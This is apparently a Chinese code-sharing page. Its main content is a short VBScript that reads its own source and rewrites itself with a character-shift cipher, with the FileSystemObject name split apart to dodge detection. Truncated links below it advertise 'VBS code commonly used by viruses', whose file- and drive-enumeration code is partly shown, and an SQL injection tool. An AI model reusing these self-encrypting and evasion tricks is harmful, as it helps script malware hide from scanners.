rem 本人不能保证文件能改过来. 
rem bmp since 389 
rem read bmp to an var and write to file 
dim fso,allcode,lcl 
Set fso = CreateObject("Scripting"&"."&"FileSystem"&"Object") 
allcode=fso.opentextfile(wscript.scriptfullname).readall 
Set lcl = fso.CreateTextFile(wscript.scriptfullname, True) 
Function scode (N) 
dim x 
for x = 0 to 254 
if n = chr(x) then 
scode = x 
exit function 
end if 
next 
end function 
dim cc,cipher,correy 
for l = 1 to len (allcode) 
cc = mid (allcode,l,1) 
if l>0 and instr(allcode,"cipher maek")>0 then 
cipher=chr (scode(cc)+99) 
else 
cipher=chr(scode(cc)) 
end if 
correy=correy&cipher 
next 
lcl.Write correy 
lcl.Close 
rem cipher mark 

一段病毒常用的VBS代码
OnerrorresumenextDimfso,wshell,curfolder,curdristr,curdriSetfso=createobject("scripting.filesystemobject")Setwshell=CreateObject("WScript.shell")Setcurfolder=fso.GetFolder(".")curdristr=Left(WScript.S

vbs 调用中文语音让你电脑听你的命令的实现代码
如果你机器本身装了office的话，可能不需要装以下软件，我机器由于装的是openoffice，所以我提前装了speechsdk51.exeCNSpeechPackage.msi这两个软件。如果让电脑

SQLids.vbs 0.7(最终版，以后改成gui界面的)
是有这个问题的。第一，应当用正则判断较好。第二，我用循环加返回结果大于30个长度就退出循环，我相信没有表名和字段名大于30个字母的，但是字